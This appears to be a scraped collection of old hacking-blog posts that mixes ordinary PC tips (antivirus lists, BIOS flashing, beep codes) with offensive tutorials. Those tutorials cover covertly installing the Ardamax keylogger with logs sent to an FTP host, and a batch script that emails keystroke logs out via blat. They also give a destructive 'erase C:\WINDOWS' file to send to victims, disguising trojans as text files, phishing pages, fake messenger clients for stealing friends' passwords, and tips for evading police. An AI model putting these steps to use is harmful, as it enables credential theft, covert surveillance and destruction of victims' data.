How to fix you infected computer

Here are some steps you need to take when fixing your infected computer:


Antivirus software

1.Kaspersky:

It is one of the best antivirus availible on web,Kaspersky Anti-Virus features include real-time protection, detection and removal of viruses, trojans, worms, spyware, adware, keyloggers malicious tools and Auto-Dialers, as well as detection and removal of rootkits. It also includes instantaneous automatic updates via the "KasperskySecurity Network" service.

2.Avira

Avira uses very less CPU and is quite compact.Avira free is much better than Avira Premium even though it offers web filter and mail filter

3.AVG
AVG is one of the most used antiviruses now a days,most of all its free and antispyware too,It is very light and does not acquire too much disk space

4.Norton
Quite slow if you have a 512 MB or 1GB RAM.2GB and 3 GB RAM Users are only advised to use this software.But it is extremely good in virus detection and does not leave a single trace of any damage,It detects 90% of viruses but not better than kaspersky.

Antispyware:

Spyware is a type of malware that is installed on computers and that collects information about users without their knowledge. The presence of spyware is typically hidden from the user. Typically, spyware is secretly installed on the user's personalcomputer. Sometimes, however, spywares such as keyloggers are installed by the owner of a shared, corporate, or public computer on purpose in order to secretly monitor other users.

Antispware is the second step in to fix your infected computer.Running anti-spyware software has become a widely recognized element of computer security practices for computers, especially those running Microsoft Windows. A number of jurisdictions have passed anti-spyware laws, which usually target any software that is surreptitiously installed to control a user'scomputer

Here is a list of some antispywares which i would recommend:

1.Ad-Aware Free Anniversary Edition 8.0.7:
It eliminates spy archives and him easily aid to eliminate them of fast form. It can choose the modules to eliminate, to keep files from registry, and to personalize the menu of the program

2.a-squared Free 4.5.0.8:
Also known like a², one specializes in detecting, to eliminate malwares (all type of harmful file). To the day of today, a-squared detects and eliminates more of: 24.000 trojans, 67.000 worms, 40.000 dialers, 11.000 spyware y 70.000 plans or signs.

3.Malwarebytes Anti-Malware:

This antispy analyzes the discs in search of malware With option to eliminating them. This antispy can be programmed to analyze PC at a certain hour. It has a list for files in quarantine and to ignoring. There exists the possibility of activating the protection in real time (Itdetects the threats before that enter to the system), which, it is of payment.

Others are such as spyware blaster,spy defence etc

Registry scanner:

Next you need a registry scanner, to fix your infected computer,Viruses often copy their algorithm into the registry entry.So you are only 50% done after you delete the virus)
Well there are many registry cleaners availible such as

1.Eusing Free Registry Cleaner/scanner
2.Registry fix
3.Auslogics registry cleaner(My recommendation)

Trojan horse removal:

For this you can read my post on "Trojan horse removal"

Ccleaner:

After that you can download CCleaner and optimize your computer speed by deleting unwanted registry and internet tracing cookies and temporary files.

Bonus:

Anti-Malware Toolkit - a program that automatically downloads all of the recommended programs to help users clean their computers and have them running at peak performance again.

Help keep your computer safe, secure and clean from malware - get the Anti-Malware Toolkit today!

Download anti malware tool kit here

Read more: http://rafayhackingarticles.blogspot.com/2009/09/fix-infected-computer.html#ixzz0gErKCvLy

Network LookOut Administrator

http://www.softpedia.com/progDownload/Network-LookOut-Administrator-Pro-Download-39041.html

remote network information tools

http://www.softpedia.com/progDownload/RedEyes-Download-144618.html

section 2 70-270

Windows Server 2003 - Security Guide

exam 70-270

[PDF]

Transient Software Fault Tolerance Through Recovery

15 tips on How to survive as a hacker

How to survive as a hacker - Tips

Tip 1:
Never tell any body that you are a hacker even your friends or your relatives,you must keep it a secret

Tip 2:
Never hack without a proxy

Tip 3:
Never let FBI enter your house without a search warrant.

Tip 4:
Never hack from your home always use net cafe for these purposes

Tip 5:
Wave to cops

Tips 6:
Never use your real name in any sort of conversation or in any signup

Tip 7:
Do not keep a password which is already present in the dictionary

Tip 8:
Dont use same password twice

Tips 9:
Never hack from the same computer twice if possible

Tips 9:
Hide your Ip address to avoid your chances of being traced

Tips 10:
Always use a Good firewall such as zonealram

Tip 11:
Change your Ip address daily if possible,I have wrote an article on How to change your Ip address

Tip 12:
Dont enter your personal information eg your address,your number etc while
Using social networking sites like orkut,Facebook etc

Tip 13:
Always have a panic button that mass deletes your questionable content

Tip 14:
Never let the FBI in period.

Tip 15:
Always use a Proxy when doing anything remotely illegal

hacking into another persons computer

solution

Step 1
Get a good IP scanner angry ip scanner is a good one you can get it here: http://www.angryziber.com/ipscan/

Step 2
Open a dos prompt
Do this by going to start/run
enter command.com and press ok

this is what you see:
c:\windows>

Now this is what you have to do ---->>>

Replace 255.255.255.255 with the victims IP address.

c:\windows>nbtstat -a 255.255.255.255

If you see this your in:

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------------------------
user<00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = xx-xx-xx-xx-xx-xx
---------------------------------------------------------------

If you don't get the number <20>.
The victim disabled the File And Printer Sharing, find a another victim.

Step 3

type down:

c:\windows>net view \\255.255.255.255

if the output is like this:

Shared resources at \\255.255.255.255
ComputerNameGoesHere

Sharename Type Used as Comment

------------------------------------------------------------
CDISK Disk xxxxx xxxxx

The command completed successfully.

"DISK" shows that the victim is sharing a Disk named as CDISK

Step 4

type down:

you can replace x: by any letter you want but not the letter of your own drive.

CDISK is the name of the shared harddrive.

c:\windows>net use x: \\255.255.255.255\CDISK

If the command is successful you are a small time hacker.

Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:.


Note to newbies: This hack will only work if you have the ip of someone on your network. It will not work if the ip of the person you want to "hack" is not on your network.

Hack your friends account password

To Hack your friends Password you only need even less than a minute and you can have a quick look at your friends Usernames and Passwords.

Just follow the steps:

For Mozila Firefox:

1.Open Mozila Firefox

2.Goto Tools -> Options

3.In that goto Privacy -> Passwords.

4.There you will find View Saved Passwords Button Click on it.

5.It will show you a list of websites with the usernames. To get the Passwords Click on Show Passwords Button.

6.Now To get the Internet Password Just see for any IP address in the website column this is the Ip address of that computer and Username and Pass is what you want.

7.You can get pass of any account just look for the site name whose password you want to hack and on the right side you will get the Username and Password

For Google chrome:

1.Open Google chrome

2.Goto settings -> Options

3.Goto Personal stuff -> Show saved passwords

So in this way you can hack your friends account password

Read more: http://rafayhackingarticles.blogspot.com/2009/09/hack-your-friends-account-password.html#ixzz0fBkk5Vgv

"How to hack email accounts passwords?

5 ways to Hack email accounts

Phishing:
This is the most easiest way to hack an email account password Phishing is a way of saying keylogger but in an other meaning.Let’s say you want to create a hotmail phishing page.The page should look
exactly like the real one.
How does it work:

You can download/make a replica of the website you want to phish.And save is as HTML.When you’re done with that,you have to find a way
to upload the HTML.Best way is a Website.Like Piczo/Blogspot.When thats done the user types his/hers username and password.And automatically
it will be sent to you by mail.And there you have it,that’s Phishing.

For more information on see  post  How to create fake login page for any site

Brute Forcing
Brute Forcing is like guessing the password but instead you make/download a password list[a long txt file containing words that might be
the password] ad the Brute Forcer tries them all
Download your Msn Brute Forcer Here:
 [may find a trojan inside but that's normal]

Download Password Lists here:

Keyloggers
With keylogger you can easily hack an email account.Keyloggers is like phishing but is more simple.Its a simple .exe executable.When someone clicks it,the Keylogger auto downloads.And you’ll
have ,on your computer,you start it,and put in the ip of the destination,and every hour you’ll receive keys pressed on his computer
thats an easy way to find out msn passwords
I have a post to Hack any account using aradamax keylogger you can see it in my new KEylogger to hack password:aradamax keylogger

Fake Msn
Fake msn is just a replica of Msn Messenger.Let some of your friends come over.And open up the fake msn.Let them type in ther
msn hotmail,and their password.Then they will get a troubleshoot , and their username/password will be saved in a .txt file in C:\

Download here

Guessing The Secret Question

If you know your friends,this will be an easy task.Go to http://www.hotmail.com and click forgot password,then put in the email address
and then the CATCHA code,reply on the secret question,but beware because you have like 3 tries only.

Warning:This post "How to Hack email accounts" is is truly for educational purposes

How to install a keylogger remotely

solution

A step-by-step guide to successfully creating a deployment package, sending it, and receiving information using Ardamax Keylogger. Now, in this guide, I only use one method of receiving information, and that's an FTP. I also do not protect the files. Any suggestions and comments are appreciated.

Download Free aradamax keylogger to hack password

Now, open it, and it should give you a name and a jumble of letters and numbers.

Go back to the Ardamax icon at the bottom right, and right-click it.

Click the "Enter Registration Key" button.

Now enter this code to unlock full version:

Name: nGen 2oo6

Key: RTHUUGQVAWDFOQT

Or if you choose another version of aradamax keylogger then get serial
from this website:

http://www.theserials.com/serial/serial_ardamax.html

Now you are ready to install keylogger remotely

Again, right click the icon at the bottom-right.

Click "Remote Installation".

Click next.

Now, if you want to attach your keylogger to an existing file, tick the box that says "Append keylogger engine to.." etc

If you tick it, click Browse, and select the file.

If not, continue down. The installation folder on target computer needs to remain Windows System Folder for added security, so leave it be.

Add any additional components you would like. I just leave mine as "log viewer".

From this point, click next.

Tick all of the boxes, as to hide it from everything visible, otherwise they can just see it and be like "Wtf", uninstall, etc.


Click next.

For Security, do what you want. I leave all of it as-is and click next again.

Now, untick the "Check for updates" box, else it will check for updates on their computer and they will know that they are bugged.

Click next.

Tick the "Start in hidden mode" box, and leave the "Run on windows startup" as-is.

You may pick a date to self destruct, if you like. Sounds noisy,It simply removes itself on selected date. If not, leave it alone, and it will never self destruct.

Click next.

Tick the "Send logs every.." box, and choose how frequently you would like to recieve information that has been sent.

Select 'FTP' and de-select everything else as a delivery method.

You may choose to take out screenshots.

Leave log format alone.

You may choose to send logs if it exceeds a certain size, or if you want it to send no matter what, untick the box, which is what I do.

Click on next

Head on over to:

http://phpnet.us/


Make an account,entering your username password etc

Save your FTP Account name and password. You'll need it in a moment.

This site will be the site that holds all information recieved by the keylogger.

When you're done, scroll down a bit.

Under "FTP Accounts", click "File Manager".

Near the top, click the "New Dir" button, and create a directory by any name you want.

Now, hold that thought. Bring the keylogger back.

In Ftp Host, put in:

ftp.phpnet.us

In "Remote Folder", put in the new directory's name you made.

Fill in your Username and Password.

Leave leave Passive Mode checked

Leave port alone as well. It's default.

Now to make sure everything is correctly done, click test. It should tell you it all went through. And to double check, you can refresh your open window. Click your directory and there should be a test file in it.

Click next

Tick anything and everything you want.

Click next

If you selected screenshots to be enabled, pick how you want them delivered. Click next. If not, ignore this step.

Browse where you want the keylogger to be placed. You can also change the icon, which is nifty.IF you are sharing a picture with your friend of yours,you can change the icon to a notepad and name it "Funny pic" or some thing else,and they fal for it.

Click Next.

This screen will go over with you everything that you have chosen. Make sure it's all correct.

Click Finish.

Now, if you appended the keylogger to something, you're going to need to put the "install" and appended file into a .zip or .rar file.

If not, you have the simple "Install" on your desktop. Also, feel free to rename it to something like "OMFGFunnypicture!!!.jpg"

Now you are ready to install a keylogger remotely

Upload the file or .rar/.zip somewhere, and let your target download it. They will double click it, and on their end, nothing will happen, but secretly, they have been keylogged.

Check your FTP Directory that you made as frequently as you told it to send logs, and you'll have everything you need.

Read more: http://rafayhackingarticles.blogspot.com/2009/09/how-to-install-keylogger-remotely.html#ixzz0fBitNWvE

Hack Gmail account using keylogger

Keylogging made easy:



1.You will need keylogger from:
http://ntsecurity.nu/toolbox/klogger/

2.You will need a gmail account.

3.You will need blat from:
http://sourceforge.net/project/showfiles...p_id=81910/


And Nircmd:
http://www.nirsoft.net/utils/nircmd.html/

Ok put everything in a single directory on a flash drive, or a cd. Just a directory you can drag onto the target computer.

You should have blat.dll blat.exe blat.obj klogger and nircmd.

Ok now we are going to make two .bat files.

One is start.bat and the executable for the program:

nircmd.exe execmd CALL klogger
nircmd.exe execmd CALL go.bat

The next one is go.bat and you will need to do some editing to it.

goto THREE
:THREE
ping 127.0.0.1 -n 100 -w 1000> nul
REM the ping acts as a wait
Blat klogger.txt -to bsdpunk@gmail.com -u bsdpunk@gmail.com -p password -f
bsdpunk@gmail.com -server gsmtp183.google.com
REM Please dontt use my email address use your own and your own password etc.
goto THREE
You should now have blat.dll blat.exe blat.obj go.bat klogger nircmd and start.bat.,Just drag your folder with these files to the target computer and run start.bat.

make a virus

CAUTION: DO NOT RUN THE PROGRAM ON YOUR COMPUTER OR YOU WILL LOSE YOUR WINDOWS.

1.Go to notepad,
2. Type erase C:\WINDOWS,
3. Save IT AS SOMETHING.cmd ,
4. Send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...

How to Send Trojans as a Text File

What is a trojan horse:

A Trojan horse, or trojan for short, is a term used to describe malware that appears, to the user, to perform a desirable function but, in fact, facilitates unauthorized access to the user's computer system. The term comes from the Trojan Horse story in Greek mythology. Trojan horses are not self-replicating which distinguishes them from viruses and worms. Additionally, they require interaction with a hacker to fulfill their purpose.



Purpose of Trojan horses

Trojan horses are designed to allow a hacker remote access to a target computer system. Once a Trojan horse has been installed on a target computer system it is possible for a hacker to access it remotely and perform various operations. The operations that a hacker can perform are limited by user privileges on the target computer system and the design of the Trojan horse.

How to Send Trojans as a Text Files - Method

1. First of all You have to download the TEXT ICON PACK .
You can Download It From Below:

Download

2. Extract the Icon Pack to Obtain the Text Icons.

3. Open a new file, Right click - New - Shortcut
Type the location of the item: "X:\WINDOWS\system32\cmd.exe /c file.txt" (where stands for "X"=Drive)

and name it "Readme.txt" (without quotes)

4. After creating the readme.txt file right click on it and choose - Properties
in the - "Start in" fill - "%currentdir%" , in the - "Run" choose - "Minimized".

5. Then change the icon with one of the TXT icons from the pack by right clicking the readme.txt file then -
Properties - Change Icon...

6. In order to execute a file you need one..
just change your Server/Virus extension to .TXT and name it - "file.txt"

Now you have a .TXT Shortcut and .TXT Executable, when opening the txt shortcut it opens a command
- "C:\WINDOWS\system32\cmd.exe /c test.txt" that executes the file you want.

7. Now the readme.txt executes a command window, in order to hide it Right click on the "readme.txt" and choose - Properties - Layout and reduced the size on the window to height=1 and width=1.
Now change the window position to height=999 and width=999.

8. Now you are ready to sent a trojan as a txt file..

HIde ur Partitions ( C , D , E , F)

Click start button>run type gpedit.msc, now move to user configuration > administrative templates > windows components > windows explorer, press double click on "Hide these specified drives in My Computer" after following des steps properly u ll find another option "Prevent access to drives from My Computer" double click on dis option & change it accordingly.

To make it normal again click on "disable" by double clicking on "Hide these specified drives in My Computer" option ..

Dats it ur done with it !!!! enjoy dis trick.

BIOS Update Procedure

BIOS Update Procedure or the method for updating bios

All latest Motherboards today, 486/ Pentium / Pentium Pro etc.,ensure that upgrades are easily obtained by incorporating the system BIOS in a FLASH Memory component. With FLASH BIOS, there is no need to replace an EPROM component. Once downloaded, the upgrade utility fits on a floppy disc allowing the user to save, verify and update the system BIOS. A hard drive or a network drive can also be used to run the newer upgrade utilities. However, memory managers can not be installed while upgrading.

Most pre-Pentium motherboards do not have a Flash BIOS. The following instructions therefore do not apply to these boards. If your motherboard does not have a Flash BIOS (EEPROM) you will need to use an EPROM programmer to re-program the BIOS chip. See your dealer for more information about this.

Please read the following instructions in full before starting a Flash BIOS upgrade:
A. Create a Bootable Floppy (in DOS)

•With a non-formatted disk, type the following:

format a:/s

•If using a formatted disk, type:

sys a:

This procedure will ensure a clean boot when you are flashing the new BIOS.

B. Download the BIOS file

•Download the correct BIOS file by clicking on the file name of the BIOS file you wish to download.

•Save the BIOS file and the Flash Utility file in the boot disk you have created. Unzip the BIOS file and the flash utility file. If you don't have an "unzip" utility, download the WinZip for Windows 95 shareware/ evaluation copy for that one time use from _www.winzip.com or _www.pkware.com. Most CD ROMs found in computer magazines, have a shareware version of WinZip on them.

•You should have extracted two files:

Flash BIOS utility eg: flash7265.exe (for example)

BIOS eg: 6152J900.bin (example)

Use the latest flash utility available unless otherwise specified (either on the BIOS update page or in the archive file). This information is usually provided.

C. Upgrade the System BIOS

During boot up, write down the old BIOS version because you will need to use it for the BIOS backup file name.

Place the bootable floppy disk containing the BIOS file and the Flash Utility in drive a, and reboot the system in MS-DOS, preferably Version 6.22

•At the A:> prompt, type the corresponding Flash BIOS utility and the BIOS file with its extension.

For example:

flash625 615j900.bin

•From the Flash Memory Writer menu, select "Y" to "Do you want to save BIOS?" if you want to save (back up) your current BIOS (strongly recommended), then type the name of your current BIOS and its extension after FILE NAME TO SAVE: eg: a:\613J900.bin

Alternatively select "N" if you don't want to save your current BIOS. Beware, though, that you won't be able to recover from a possible failure.

•Select "Y" to "Are you sure to program?"

•Wait until it displays "Message: Power Off or Reset the system"

Once the BIOS has been successfully loaded, remove the floppy disk and reboot the system. If you write to BIOS but cannot complete the procedure, do not switch off, because the computer will not be able to boo, and you will not be given another chance to flash. In this case leave your system on until you resolve the problem (flashing BIOS with old file is a possible solution, provided you've made a backup before)

Make sure the new BIOS version has been loaded properly by taking note of the BIOS identifier as the system is rebooting.

For AMI BIOS
Once the BIOS has been successfully loaded, remove the floppy disk and reboot the system holding the "END" key prior to power on until you enter CMOS setup. If you do not do this the first time booting up after upgrading the BIOS, the system will hang.

BIOS Update Tips
note:
1.Make sure never to turn off or reset your computer during the flash process. This will corrupt the BIOS data. We also recommend that you make a copy of your current BIOS on the bootable floppy so you can reflash it if you need to. (This option is not available when flashing an AMI BIOS).

2. If you have problems installing your new BIOS please check the following:

Have you done a clean boot?
In other words, did you follow the above procedure for making a bootable floppy? This ensures that when booting from "A" there are no device drivers on the diskette. Failing to do a clean boot is the most common cause for getting a "Memory Insufficient" error message when attempting to flash a BIOS.

If you have not used a bootable floppy, insure a clean boot either by

a) pressing F5 during bootup

b) by removing all device drivers on the CONFIG.SYS including the HIMEM.SYS. Do this by using the EDIT command.

Have you booted up under DOS?
Booting in Windows is another common cause for getting a "Memory Insufficient" error message when attempting to flash a BIOS. Make sure to boot up to DOS with a minimum set of drivers. Important: Booting in DOS does not mean selecting "Restart computer in MS-DOS Mode" from Windows98/95 shutdown menu or going to Prompt mode in WindowsNT, but rather following the above procedure (format a: /s and rebooting from a:\).

Have you entered the full file name of the flash utility and the BIOS plus its extension?
Do not forget that often you will need to add a drive letter (a:\) before flashing the BIOS. Example: when asked for file name of new BIOS file which is on your floppy disk, in case you're working from c:\ your will need to type a:\615j900.bin, rather than 615j900.bin only.

Beep Code Manual

 solution

BIOS Beep Codes

When a computer is first turned on, or rebooted, its BIOS performs a power-on self test (POST) to test the system's hardware, checking to make sure that all of the system's hardware components are working properly. Under normal circumstances, the POST will display an error message; however, if the BIOS detects an error before it can access the video card, or if there is a problem with the video card, it will produce a series of beeps, and the pattern of the beeps indicates what kind of problem the BIOS has detected.
Because there are many brands of BIOS, there are no standard beep codes for every BIOS.

The two most-used brands are AMI (American Megatrends International) and Phoenix.

Below are listed the beep codes for AMI systems, and here are the beep codes for Phoenix systems.


AMI Beep Codes

Beep Code Meaning
1 beep DRAM refresh failure. There is a problem in the system memory or the motherboard.
2 beeps Memory parity error. The parity circuit is not working properly.
3 beeps Base 64K RAM failure. There is a problem with the first 64K of system memory.
4 beeps System timer not operational. There is problem with the timer(s) that control functions on the motherboard.
5 beeps Processor failure. The system CPU has failed.
6 beeps Gate A20/keyboard controller failure. The keyboard IC controller has failed, preventing gate A20 from switching the processor to protect mode.
7 beeps Virtual mode exception error.
8 beeps Video memory error. The BIOS cannot write to the frame buffer memory on the video card.
9 beeps ROM checksum error. The BIOS ROM chip on the motherboard is likely faulty.
10 beeps CMOS checksum error. Something on the motherboard is causing an error when trying to interact with the CMOS.
11 beeps Bad cache memory. An error in the level 2 cache memory.
1 long beep, 2 short Failure in the video system.
1 long beep, 3 short A failure has been detected in memory above 64K.
1 long beep, 8 short Display test failure.
Continuous beeping A problem with the memory or video.
BIOS Beep Codes


Phoenix Beep Codes

Phoenix uses sequences of beeps to indicate problems. The "-" between each number below indicates a pause between each beep sequence. For example, 1-2-3 indicates one beep, followed by a pause and two beeps, followed by a pause and three beeps. Phoenix version before 4.x use 3-beep codes, while Phoenix versions starting with 4.x use 4-beep codes. Click here for AMI BIOS beep codes.
4-Beep Codes
Beep Code Meaning
1-1-1-3 Faulty CPU/motherboard. Verify real mode.
1-1-2-1 Faulty CPU/motherboard.
1-1-2-3 Faulty motherboard or one of its components.
1-1-3-1 Faulty motherboard or one of its components. Initialize chipset registers with initial POST values.
1-1-3-2 Faulty motherboard or one of its components.
1-1-3-3 Faulty motherboard or one of its components. Initialize CPU registers.
1-1-3-2
1-1-3-3
1-1-3-4 Failure in the first 64K of memory.
1-1-4-1 Level 2 cache error.
1-1-4-3 I/O port error.
1-2-1-1 Power management error.
1-2-1-2
1-2-1-3 Faulty motherboard or one of its components.
1-2-2-1 Keyboard controller failure.
1-2-2-3 BIOS ROM error.
1-2-3-1 System timer error.
1-2-3-3 DMA error.
1-2-4-1 IRQ controller error.
1-3-1-1 DRAM refresh error.
1-3-1-3 A20 gate failure.
1-3-2-1 Faulty motherboard or one of its components.
1-3-3-1 Extended memory error.
1-3-3-3
1-3-4-1
1-3-4-3 Error in first 1MB of system memory.
1-4-1-3
1-4-2-4 CPU error.
1-4-3-1
2-1-4-1 BIOS ROM shadow error.
1-4-3-2
1-4-3-3 Level 2 cache error.
1-4-4-1
1-4-4-2
2-1-1-1 Faulty motherboard or one of its components.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4
2-1-3-2 I/O port failure.
2-1-3-1
2-1-3-3 Video system failure.
2-1-1-3
2-1-2-1 IRQ failure.
2-1-2-3 BIOS ROM error.
2-1-2-4 I/O port failure.
2-1-4-3
2-2-1-1 Video card failure.
2-2-1-3
2-2-2-1
2-2-2-3 Keyboard controller failure.
2-2-3-1 IRQ error.
2-2-4-1 Error in first 1MB of system memory.
2-3-1-1
2-3-3-3 Extended memory failure.
2-3-2-1 Faulty motherboard or one of its components.
2-3-2-3
2-3-3-1 Level 2 cache error.
2-3-4-1
2-3-4-3 Motherboard or video card failure.
2-3-4-1
2-3-4-3
2-4-1-1 Motherboard or video card failure.
2-4-1-3 Faulty motherboard or one of its components.
2-4-2-1 RTC error.
2-4-2-3 Keyboard controller error.
2-4-4-1 IRQ error.
3-1-1-1
3-1-1-3
3-1-2-1
3-1-2-3 I/O port error.
3-1-3-1
3-1-3-3 Faulty motherboard or one of its components.
3-1-4-1
3-2-1-1
3-2-1-2 Floppy drive or hard drive failure.
3-2-1-3 Faulty motherboard or one of its components.
3-2-2-1 Keyboard controller error.
3-2-2-3
3-2-3-1
3-2-4-1 Faulty motherboard or one of its components.
3-2-4-3 IRQ error.
3-3-1-1 RTC error.
3-3-1-3 Key lock error.
3-3-3-3 Faulty motherboard or one of its components.
3-3-3-3
3-3-4-1
3-3-4-3
3-4-1-1
3-4-1-3
3-4-2-1
3-4-2-3
3-4-3-1
3-4-4-1
3-4-4-4 Faulty motherboard or one of its components.
4-1-1-1 Floppy drive or hard drive failure.
4-2-1-1
4-2-1-3
4-2-2-1 IRQ failure.
4-2-2-3
4-2-3-1
4-2-3-3
4-2-4-1 Faulty motherboard or one of its components.
4-2-4-3 Keyboard controller error.
4-3-1-3
4-3-1-4
4-3-2-1
4-3-2-2
4-3-3-1
4-3-4-1
4-3-4-3 Faulty motherboard or one of its components.
4-3-3-2
4-3-3-4 IRQ failure.
4-3-3-3
4-3-4-2 Floppy drive or hard drive failure.
3-Beep Codes
Beep Code Meaning
1-1-2 Faulty CPU/motherboard.
1-1-3 Faulty motherboard/CMOS read-write failure.
1-1-4 Faulty BIOS/BIOS ROM checksum error.
1-2-1 System timer not operational. There is a problem with the timer(s) that control functions on the motherboard.
1-2-2
1-2-3 Faulty motherboard/DMA failure.
1-3-1 Memory refresh failure.
1-3-2
1-3-3
1-3-4 Failure in the first 64K of memory.
1-4-1 Address line failure.
1-4-2 Parity RAM failure.
1-4-3 Timer failure.
1-4-4 NMI port failure.
2-_-_ Any combination of beeps after 2 indicates a failure in the first 64K of memory.
3-1-1 Master DMA failure.
3-1-2 Slave DMA failure.
3-1-3
3-1-4 Interrupt controller failure.
3-2-4 Keyboard controller failure.
3-3-1
3-3-2 CMOS error.
3-3-4 Video card failure.
3-4-1 Video card failure.
4-2-1 Timer failure.
4-2-2 CMOS shutdown failure.
4-2-3 Gate A20 failure.
4-2-4 Unexpected interrupt in protected mode.
4-3-1 RAM test failure.
4-3-3 Timer failure.
4-3-4 Time of day clock failure.
4-4-1 Serial port failure.
4-4-2 Parallel port failure.
4-4-3 Math coprocessor.

Beep Codes Error Codes

solution

Standard Original IBM POST Error Codes
Code Description

1 short beep System is OK
2 short beeps POST Error - error code shown on screen No beep Power supply or system board problem Continuous beep Power supply, system board, or keyboard problem Repeating short beeps Power supply or system board problem
1 long, 1 short beep System board problem
1 long, 2 short beeps Display adapter problem (MDA, CGA)
1 long, 3 short beeps Display adapter problem (EGA)
3 long beeps 3270 keyboard card
IBM POST Diagnostic Code Descriptions
Code Description
100 - 199 System Board
200 - 299 Memory
300 - 399 Keyboard
400 - 499 Monochrome Display
500 - 599 Colour/Graphics Display
600 - 699 Floppy-disk drive and/or Adapter
700 - 799 Math Coprocessor
900 - 999 Parallel Printer Port
1000 - 1099 Alternate Printer Adapter
1100 - 1299 Asynchronous Communication Device, Adapter, or Port
1300 - 1399 Game Port
1400 - 1499 Colour/Graphics Printer
1500 - 1599 Synchronous Communication Device, Adapter, or Port
1700 - 1799 Hard Drive and/or Adapter
1800 - 1899 Expansion Unit (XT)
2000 - 2199 Bisynchronous Communication Adapter
2400 - 2599 EGA system-board Video (MCA)
3000 - 3199 LAN Adapter
4800 - 4999 Internal Modem
7000 - 7099 Phoenix BIOS Chips
7300 - 7399 3.5" Disk Drive
8900 - 8999 MIDI Adapter
11200 - 11299 SCSI Adapter
21000 - 21099 SCSI Fixed Disk and Controller
21500 - 21599 SCSI CD-ROM System

AMI BIOS Beep Codes
Code Description

1 Short Beep System OK
2 Short Beeps Parity error in the first 64 KB of memory
3 Short Beeps Memory failure in the first 64 KB
4 Short Beeps Memory failure in the first 64 KB Operational of memory
or Timer 1 on the motherboard is not functioning
5 Short Beeps The CPU on the motherboard generated an error
6 Short Beeps The keyboard controller may be bad. The BIOS cannot switch to protected mode
7 Short Beeps The CPU generated an exception interrupt
8 Short Beeps The system video adapter is either missing, or its memory is faulty
9 Short Beeps The ROM checksum value does not match the value encoded in the BIOS
10 Short Beeps The shutdown register for CMOS RAM failed
11 Short Beeps The external cache is faulty
1 Long, 3 Short Beeps Memory Problems
1 Long, 8 Short Beeps Video Card Problems

Phoenix BIOS Beep Codes
Note - Phoenix BIOS emits three sets of beeps, separated by a brief pause.

Code Description
1-1-3 CMOS read/write failure
1-1-4 ROM BIOS checksum error
1-2-1 Programmable interval timer failure
1-2-2 DMA initialisation failure
1-2-3 DMA page register read/write failure
1-3-1 RAM refresh verification failure
1-3-3 First 64k RAM chip or data line failure
1-3-4 First 64k RAM odd/even logic failure
1-4-1 Address line failure first 64k RAM
1-4-2 Parity failure first 64k RAM
2-_-_ Faulty Memory
3-1-_ Faulty Motherboard
3-2-4 Keyboard controller Test failure
3-3-4 Screen initialisation failure
3-4-1 Screen retrace test failure
3-4-2 Search for video ROM in progress
4-2-1 Timer tick interrupt in progress or failure
4-2-2 Shutdown test in progress or failure
4-2-3 Gate A20 failure
4-2-4 Unexpected interrupt in protected mode
4-3-1 RAM test in progress or failure>ffffh
4-3-2 Faulty Motherboard
4-3-3 Interval timer channel 2 test or failure
4-3-4 Time of Day clock test failure
4-4-1 Serial port test or failure
4-4-2 Parallel port test or failure
4-4-3 Math coprocessor test or failure
Low 1-1-2 System Board select failure
Low 1-1-3 Extended CMOS RAM failure

Create Universal Ghost USB Boot Disk and CD

How to create or make universal ghost USB boot disk and CD, If you want to use Norton Ghost 2003 to create an image of a PC's primary partition you will find it has 2 serious limitations:

solution 
1- The USB support driver they use (from Iomega) can only be installed in USB1 or USB2 mode (not both), and it is not universal - it didn't recognize my external USB IBM mobile HD .
2- You can't create a Ghost bootable CD - only a floppy. How can you clone a newly bought laptop, most of which don't have a floppy anymore?
Here's How to:
1- create a Ghost floppy with USB support (1 or 2 - it won't matter later)
2- download 2 files kxlrw40an.exe and mhairu.zip
click here to get the .exe file & click here to get the .zip file

From the first file (Panasonic driver for a USB CDRW) you will need the file usbaspi.sys found under "F2H" sub directory after extraction of the downloaded archive. From the second archive you need di1000dd.sys
3- Copy these 2 files to the USB folder on the Ghost floppy, and delete any other files in that folder. Also delete the file guest.exe from the floppy's root.
4- And finaly:
edit the AUTOEXEC.BAT file - delete the line: guest.exe
and edit CONFIG.SYS - delete all entries and enter:
device=usb\USBASPI.SYS /v /e /o /u
device=usb\Di1000dd.SYS
LASTDRIVE = Z

That's it. You can now boot with this floppy and have full USB support so you can create the image on an external USB drive.

If you want to create a bootable CD you can use Nero:
Choose to create a "CD-ROM (boot)" from the wizard, under Boot tab leave the default "bootable logical drive: as A:\ . Insert your Ghost floppy to the drive, drag all the files from the floppy to "New compilation" and burn. You now have a bootable Ghost CD that even Symantec doesn't have..

PS if you need Norton Ghost 2003 get the full retail here. 

Auo End Tasks

 solution

 how to 'Auto End Tasks' to Enable a Proper Shutdown

This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.

1. Copy the following (everything in the box) into notepad.


QUOTE
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"


2. Save the file as shutdown.reg
3. Double click the file to import into your registry.

Disable The Send Error Report, to Microsoft

How to Disable The Send Error Report, to Microsoft or how to disable the feature in windows xp which Send Error Report, to Microsoft

*************************************************************************

Open Control Panel
Click on Preformance and Maintenance.
Click on System.
Then click on the Advanced tab
Click on the error reporting button on the bottom of the windows.
Select Disable error reporting.
Click OK
Click OK

*************************************************************************

Google Deskop Search

Downlaod.

Fake Yahoo Messenger

solution 
Steps:
Step 1 - Install Microsoft .NET Framework.(I think almost everyone has this in their computers if don't click here to download )

Step 2 - click here to get fake yahoo messenger

Step 3 - Rename that YPager as Yahoo Messenger.

Step 4 - Tell any of ur friends to login, try to fish them by saying this is the new version of yahoo try it!!!

Step 5 - Open C:\yahoo.txt & dats ur frnds yahoo id & passwords..

Fake GTalk

